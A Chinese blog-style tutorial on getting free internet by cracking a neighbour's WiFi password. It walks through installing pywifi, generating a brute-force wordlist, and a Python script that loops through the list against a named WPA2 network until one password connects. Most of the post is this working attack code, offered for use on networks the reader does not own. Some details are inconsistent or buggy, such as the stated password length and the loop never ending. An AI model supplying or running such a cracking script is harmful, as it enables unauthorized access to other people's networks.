不想交网费?不想交,那然我们一起蹭网吧!(不过劝你别用,一是费时间,二是网速也慢😂)

言归正传,首先你得有一台电脑,一个Python,还有pywifi。

​​1.​​​​​下载pywifi

按下win+r键,会弹出这个窗口watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETkDkuIDkuKrojrflvpfor7rotJ3lsJTml6DogYrlpZbnmoTkuro,size_8,color_FFFFFF,t_70,g_se,x_16

然后输入cmd,会弹出来这个watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETkDkuIDkuKrojrflvpfor7rotJ3lsJTml6DogYrlpZbnmoTkuro,size_15,color_FFFFFF,t_70,g_se,x_16 

然后输入 pip install pywifi就好了

2.编辑代码(这里我用的是pycharm)

代码如下

import itertools as its
words="1234567890qwertyuiopasdfghjklzxcvbnm"
#生成密码本的位数,五位数,repeat=5
r=its.product(words,repeat=3)

dic=open(r"E:\密码本.txt","a")#记得改路径
for i in r:
    dic.write("".join(i))
    dic.write("".join("\n"))
    print(i)
dic.close()
print("密码本已生成")

3.校对密码


 

import pywifi

from pywifi import const

import time

import datetime

 

def wifiConnect(pwd):

    wifi=pywifi.PyWiFi()

    ifaces=wifi.interfaces()[0]

    ifaces.disconnect()

    time.sleep(1)

    wifistatus=ifaces.status()

    if wifistatus ==const.IFACE_DISCONNECTED:

        profile=pywifi.Profile()

        #要连接WiFi的名称

        profile.ssid="jiayi"

        profile.auth=const.AUTH_ALG_OPEN

        #wifi加密算法,一般wifi加密算法为wps

        profile.akm.append(const.AKM_TYPE_WPA2PSK)

        profile.cipher=const.CIPHER_TYPE_CCMP

        #调用密码

        profile.key=pwd

        #删除所有连接过的wifi文件

        ifaces.remove_all_network_profiles()

        #设定新的连接文件

        tep_profile=ifaces.add_network_profile(profile)

        ifaces.connect(tep_profile)

        #wifi连接时间

        time.sleep(3)

        if ifaces.status()==const.IFACE_CONNECTED:

            return True

        else:

            return False

    else:

        print("已有wifi连接") 

 

#读取密码本

def readPassword():

    print("开始破解:")

    #密码本路径

    path="E:\密码本.txt"

    #打开文件

    file=open(path,"r")

    while True:

        try:

            #一行一行读取

            pad=file.readline()

            bool=wifiConnect(pad)

            

            if bool:

                print("密码已破解: ",pad)

                print("WiFi已自动连接!!!")

                break

            else:

                #跳出当前循环,进行下一次循环

                print("密码破解中....密码校对: ",pad)

        except:

            continue

好了,去试试吧,就是时间比较久

拜拜👋🏻

 

 

 

 

 

 

 

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐